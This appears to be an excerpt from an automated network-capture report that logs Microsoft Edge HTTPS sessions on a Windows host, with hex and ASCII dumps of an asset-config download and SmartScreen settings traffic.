2024-11-26 07:03:45 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49791	13.107.246.40	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:44 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:45 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:45 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a7527e8d-d01e-0008-7b8d-3f7374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T070345Z-174f7845968ljs8phC1EWRe6en0000000uz00000000046f3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:03:45 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-26 07:03:45 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-26 07:03:45 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49794	104.40.82.182	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:46 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiQ3BqdkNYc0ltc3dEanJOdWNnNVc3Zz09IiwgImhhc2giOiJQc1c5T3BYOC9uQT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-26 07:03:46 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-26 07:03:46 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:03:46 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-26 07:03:46 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-26 07:03:46 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-26 07:03:47 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-26 07:03:47 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-26 07:03:47 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-26 07:03:47 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-26 07:03:47 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-26 07:03:47 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49776	18.165.220.106	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
